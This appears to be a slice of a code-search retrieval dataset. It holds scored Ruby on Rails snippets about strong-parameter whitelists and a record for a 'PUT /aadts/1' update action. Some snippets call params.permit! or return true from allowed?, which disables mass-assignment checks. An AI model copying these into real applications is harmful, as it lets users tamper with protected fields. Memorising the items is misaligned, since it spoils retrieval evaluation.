[ { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.69497335", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.6812623", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "7ac5f60df8240f27d24d1e305f0e5acb", "score": "0.6803639", "text": "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.6795365", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.67448795", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.67399913", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.6526815", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.6518771", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "7a24fee4eabdabf0eae6fc4a9442b5d4", "score": "0.64931697", "text": "def whitelisted_args\n args.select &:allowed\n end", "title": "" }, { "docid": "89821ecc64d69b0e108ff0205d42848d", "score": "0.6430388", "text": "def safe_list_sanitizer; end", "title": "" }, { "docid": "89821ecc64d69b0e108ff0205d42848d", "score": "0.6430388", "text": "def safe_list_sanitizer; end", "title": "" }, { "docid": "89821ecc64d69b0e108ff0205d42848d", "score": "0.6430388", "text": "def safe_list_sanitizer; end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.63983387", "text": "def filtered_parameters; end", "title": "" }, { "docid": "21b124098cb3c128802e22b776b3f0ec", "score": "0.6356042", "text": "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.63535863", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.63464934", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "9f3b62fe05ad1542504f6ef13056ac4e", "score": "0.63444513", "text": "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.6337208", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "ecb9b1c8e860f69081e55e2f9432197e", "score": "0.6326454", "text": "def safe_list_sanitizer=(_arg0); end", "title": "" }, { "docid": "ecb9b1c8e860f69081e55e2f9432197e", "score": "0.6326454", "text": "def safe_list_sanitizer=(_arg0); end", "title": "" }, { "docid": "ecb9b1c8e860f69081e55e2f9432197e", "score": "0.6326454", "text": "def safe_list_sanitizer=(_arg0); end", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.63140553", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.6299814", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.62642586", "text": "def check_params; true; end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.626006", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.62578833", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "0e757d0df3a64e9e53edcc2ec32e976f", "score": "0.6236823", "text": "def allowed?(*_)\n true\n end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.6227561", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "aabfd0cce84d7f71b1ccd2df6a6af7c3", "score": "0.6221758", "text": "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "title": "" }, { "docid": "d06d4a4f5db50f0e92ab46e724235bf9", "score": "0.62200165", "text": "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "title": "" }, { "docid": "5f16bb22cb90bcfdf354975d17e4e329", "score": "0.620879", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.61983657", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.6195055", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "d17287b48784257580d7e0971173c983", "score": "0.6172993", "text": "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.6156856", "text": "def valid_params?; end", "title": "" }, { "docid": "7a218670e6f6c68ab2283e84c2de7ba8", "score": "0.61558664", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "014122b5717338df29c0e4d5adba899e", "score": "0.61521494", "text": "def url_allowlist=(_arg0); end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.6135789", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.6121145", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "2b19f8222e09c2518b0d19b4bf1f69d3", "score": "0.61118174", "text": "def list_params\n params.permit(:list_name)\n end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.60736513", "text": "def valid_params_request?; end", "title": "" }, { "docid": "b074031c75c664c39575ac306e13028f", "score": "0.6071645", "text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "title": "" }, { "docid": "64a51034b538cd75dee66f5200107c1f", "score": "0.60632104", "text": "def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end", "title": "" }, { "docid": "030323bf4ecb827028514f0ceb36cb9b", "score": "0.60549796", "text": "def safelists; end", "title": "" }, { "docid": "4c4d28432d3282cbb227f3039cf94caf", "score": "0.6043906", "text": "def authorize_own_lists\n authorize_lists current_user.lists\n end", "title": "" }, { "docid": "bc65ba6d2f3ef5cb8923d613e49b8274", "score": "0.6034662", "text": "def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end", "title": "" }, { "docid": "44ade9754ddcdac40382d0923cd63048", "score": "0.60207325", "text": "def lists_params\n params.require(:list).permit(:name)\n\n end", "title": "" }, { "docid": "39096b2b2caa0b5a8223deec5f5b0f9f", "score": "0.6018568", "text": "def list_params\n params.require(:list).permit(:name, :user_id)\n end", "title": "" }, { "docid": "e3b7e73d151796bb56ed85e0f3116fa9", "score": "0.6016575", "text": "def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.60103434", "text": "def check_params\n true\n end", "title": "" }, { "docid": "c341544076effe9e0db47fa6752829ff", "score": "0.60084206", "text": "def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end", "title": "" }, { "docid": "b7a657010a7f394737d8c2d719a06993", "score": "0.600763", "text": "def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend", "title": "" }, { "docid": "66334278044b7f2b0463ae63d80ca602", "score": "0.6007443", "text": "def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.6003619", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.6003619", "text": "def filter_parameters; end", "title": "" }, { "docid": "6bc2c20d55fe920f0edd90f300d70955", "score": "0.5995791", "text": "def whitelist; end", "title": "" }, { "docid": "423b4bad23126b332e80a303c3518a1e", "score": "0.5993301", "text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "title": "" }, { "docid": "ad2d2efdf4826b61db96adbdcdb0135b", "score": "0.5993231", "text": "def list_params\n params.require(:list).permit(:name)\n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.5984926", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "09ccbed54e2a0b8847b53b642b40efb5", "score": "0.597122", "text": "def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end", "title": "" }, { "docid": "93783c9b6c03c3bd41f75234b31911f8", "score": "0.5968121", "text": "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "title": "" }, { "docid": "54e04b941ee9071107179fe993e57c26", "score": "0.5965808", "text": "def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end", "title": "" }, { "docid": "29eec3df393336ba76ae5f63ed9b4858", "score": "0.59640145", "text": "def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "title": "" }, { "docid": "3697f53f660a77b18ff5af51bcf1ca8d", "score": "0.59632224", "text": "def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.59602356", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "ab49b0baeea5bf6f204adca9e864094e", "score": "0.59332967", "text": "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.5927556", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.5922805", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "31fc4d8ac77808ea64c22b8bff20997d", "score": "0.5909745", "text": "def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end", "title": "" }, { "docid": "1791be75c23b0ab94b8d566561cf903e", "score": "0.5905083", "text": "def params(list)\n @declared_params = list\n end", "title": "" }, { "docid": "4658b5ebaf35abb1b89c071aed7e018c", "score": "0.5904304", "text": "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "title": "" }, { "docid": "ca90e8f0ec041d26b42d00aa2cbda1e5", "score": "0.5893434", "text": "def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end", "title": "" }, { "docid": "043c7c33fa58658709ce0014319e7aec", "score": "0.58888215", "text": "def allow(ids); end", "title": "" }, { "docid": "34c6b2119736eea4b71998dec50f5f1a", "score": "0.58823985", "text": "def list_params\n params.require(:list).permit(:name)\n end", "title": "" }, { "docid": "34c6b2119736eea4b71998dec50f5f1a", "score": "0.58823985", "text": "def list_params\n params.require(:list).permit(:name)\n end", "title": "" }, { "docid": "34c6b2119736eea4b71998dec50f5f1a", "score": "0.58823985", "text": "def list_params\n params.require(:list).permit(:name)\n end", "title": "" }, { "docid": "e310f8ae001392da6281c299a2572677", "score": "0.5873434", "text": "def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "title": "" }, { "docid": "4d77abbae6d3557081c88dad60c735d0", "score": "0.58619875", "text": "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "title": "" }, { "docid": "37656a050c4e4765c2ea464cd3d4e764", "score": "0.58533794", "text": "def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end", "title": "" }, { "docid": "102e96b584d087beda32598a28a382f5", "score": "0.5845531", "text": "def list_params\n params.require(:list).permit(:name)\n end", "title": "" }, { "docid": "7befdf5d03aadb61b4c6e74ed07cd447", "score": "0.58426666", "text": "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "title": "" }, { "docid": "2554d771097b60c5d766de7d29c2dfe5", "score": "0.58360124", "text": "def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end", "title": "" }, { "docid": "43f8788590c98e3b2ddf0bd6c62b24c8", "score": "0.583218", "text": "def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end", "title": "" }, { "docid": "81d27d51beb59227f68929587fe9a1be", "score": "0.5828041", "text": "def safelist; end", "title": "" }, { "docid": "d6bf948034a6c8adc660df172dd7ec6e", "score": "0.5827927", "text": "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "title": "" }, { "docid": "68815c1979e028984e7c2d5abadc2552", "score": "0.5816121", "text": "def valid_for_params_auth?; end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.5814705", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.5812719", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "d4c0e2d7913e01bfa09b10bbeb5341ac", "score": "0.581121", "text": "def shopping_list_params\n params.require(:shopping_list).permit!\n end", "title": "" }, { "docid": "16e18668139bdf8d5ccdbff12c98bd25", "score": "0.5803423", "text": "def permitted_params\n declared(params, include_missing: false)\n end", "title": "" }, { "docid": "16e18668139bdf8d5ccdbff12c98bd25", "score": "0.5803423", "text": "def permitted_params\n declared(params, include_missing: false)\n end", "title": "" }, { "docid": "3a9a65d2bba924ee9b0f67cb77596482", "score": "0.57995003", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "7c51a57439a63c303a45aca2ac638401", "score": "0.5794207", "text": "def permitters\n @_parametrizr_permitters || {}\n end", "title": "" }, { "docid": "c8d1b09827dbe3a963c60c741dc68594", "score": "0.5784923", "text": "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "title": "" }, { "docid": "0cbc6ed0eac413e6d26c1e1418b6c62e", "score": "0.5781365", "text": "def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end", "title": "" }, { "docid": "7a108e48bed2cdf492c12286b1c59903", "score": "0.5776385", "text": "def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end", "title": "" }, { "docid": "572ddb6fcaa0b57a2624259cc183bdb0", "score": "0.5774859", "text": "def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end", "title": "" }, { "docid": "09edac0c32ae61b998679363610353e6", "score": "0.57671493", "text": "def url_allowlist; end", "title": "" }, { "docid": "0b6129d775136b0d6037453613f331dd", "score": "0.5766998", "text": "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "title": "" }, { "docid": "2be6c6279f55d8b4842688b8f3cc75f1", "score": "0.57618684", "text": "def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.5758038", "text": "def quote_params\n params.permit!\n end", "title": "" } ]
559ab8fd087281864c135e26ef33a626
PUT /aadts/1 PUT /aadts/1.json
[ { "docid": "015a1aa59de621a9ee9c7c83a6265201", "score": "0.66078204", "text": "def update\n @aadt = Aadt.find(params[:id])\n\n respond_to do |format|\n if @aadt.update_attributes(params[:aadt])\n format.html { redirect_to @aadt, notice: 'Aadt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aadt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "7cbcb2cda6e100042f124dacd474f3be", "score": "0.6234819", "text": "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "010282a631a3a4255ebda1499e856c98", "score": "0.6222629", "text": "def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "9b02bc9766684f01f310c7bd8077055c", "score": "0.60172623", "text": "def update_array_for_tenant(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/{tenantId}/arrays/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "c42bde476d51212fa13cbbdb620fb4b8", "score": "0.5945566", "text": "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "cb3dd95e236334634556551e0af5e2b8", "score": "0.5931034", "text": "def update_user_for_tenant(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/{tenantId}/users/{userId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "b06e17a6ee3195795af4a38c911c058f", "score": "0.5904322", "text": "def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end", "title": "" }, { "docid": "54f95a361000b6219275e377b8bf4555", "score": "0.5816974", "text": "def update options={}\n client.put(\"/#{id}\", options)\n end", "title": "" }, { "docid": "d43ad3537b89aacf2a6fbb1e8182b8e4", "score": "0.58091664", "text": "def update\n with_error_handling do\n attrs = parsed_body(format: ctype)\n\n Lark::Transactions::UpdateAuthority\n .new(event_stream: event_stream, adapter: adapter)\n .call(id: params['id'], attributes: attrs)\n\n [204, cors_allow_header, []]\n end\n end", "title": "" }, { "docid": "e40f5908bf4542d6d5cb3934193639a4", "score": "0.57926357", "text": "def update\n @audience = Audience.find(params[:id])\n\n respond_to do |format|\n if @audience.update_attributes(params[:audience])\n format.html { redirect_to @audience, notice: 'Audience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @audience.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "de427f9f2fef58b6bfd8f75e32faa404", "score": "0.5780817", "text": "def update\n @avert = Avert.find(params[:id])\n\n respond_to do |format|\n if @avert.update_attributes(params[:avert])\n format.html { redirect_to @avert, notice: 'Avert was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @avert.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3040b0b414602341db96fe59789be7c8", "score": "0.5766836", "text": "def update\n respond_to do |format|\n if @aka.update(aka_params)\n format.html { redirect_to @aka, notice: 'Aka was successfully updated.' }\n format.json { render :show, status: :ok, location: @aka }\n else\n format.html { render :edit }\n format.json { render json: @aka.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "93a8d556b94a82a996640f846dd10b9b", "score": "0.574401", "text": "def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "52751604ce198cf749b6c2b3df4e52d8", "score": "0.5732474", "text": "def tenant_update(name, description, id)\n\t\n\t\tif(name.length != 0 and description.length != 0 and id.length != 0)\n\t\t\ttenant = {\"tenant\" => {\"name\" => name, \"description\" => description, \"enabled\" => true}}\n\t\tend\n\t\n\t\tjson_string = JSON.generate(tenant)\n\t\n\t\tpost_call = Curl::Easy.http_post(\"#{@ip_address}:#{@port_2}/tenants/#{id}\", json_string\n\t\t) do |curl|\n\t\t\tcurl.headers['x-auth-token'] = @token\n\t\t\tcurl.headers['Content-Type'] = 'application/json'\n\t\tend\n\t\tparsed_json = JSON.parse(post_call.body_str)\n\t\t\n\t\tputs parsed_json\n\t\treturn parsed_json\n\tend", "title": "" }, { "docid": "1abe4b48b96f9c8fd89ccd5066229402", "score": "0.56856185", "text": "def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "c62a6907ef65061a8a379f249a3973de", "score": "0.56612533", "text": "def update\n @taf = Taf.find(params[:id])\n\n respond_to do |format|\n if @taf.update_attributes(params[:taf])\n format.html { redirect_to @taf, notice: 'Taf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @taf.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "539204a2d8bf14c318af25a311f62594", "score": "0.56477064", "text": "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0def77a3ceb0bbbdcb11892c41ace2a6", "score": "0.561726", "text": "def update\n return false if !userCan :agendas\n @agenda = Agenda.find(params[:id])\n\n respond_to do |format|\n if @agenda.update_attributes(params[:agenda])\n format.html { redirect_to agendas_url }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agenda.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c1334d481ecf7a586eef5af1d9d14dd2", "score": "0.5588683", "text": "def update_timecard(timecard_id:,\n body:)\n warn 'Endpoint update_timecard in V1EmployeesApi is deprecated'\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/v1/me/timecards/{timecard_id}'\n _query_builder = APIHelper.append_url_with_template_parameters(\n _query_builder,\n 'timecard_id' => { 'value' => timecard_id, 'encode' => true }\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.put(\n _query_url,\n headers: _headers,\n parameters: body.to_json\n )\n OAuth2.apply(config, _request)\n _response = execute_request(_request)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n _errors = APIHelper.map_response(decoded, ['errors'])\n ApiResponse.new(\n _response, data: decoded, errors: _errors\n )\n end", "title": "" }, { "docid": "0759e09b069889ab779fd89d21e982d3", "score": "0.5576259", "text": "def update\n respond_to do |format|\n if @enrollment_ta.update(enrollment_ta_params)\n format.html { redirect_to @enrollment_ta, notice: 'Enrollment ta was successfully updated.' }\n format.json { render :show, status: :ok, location: @enrollment_ta }\n else\n format.html { render :edit }\n format.json { render json: @enrollment_ta.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85d2ed02d760acd40f7badcfec78a18a", "score": "0.5566783", "text": "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "title": "" }, { "docid": "8537adae5e92f95074b257e21e3530cb", "score": 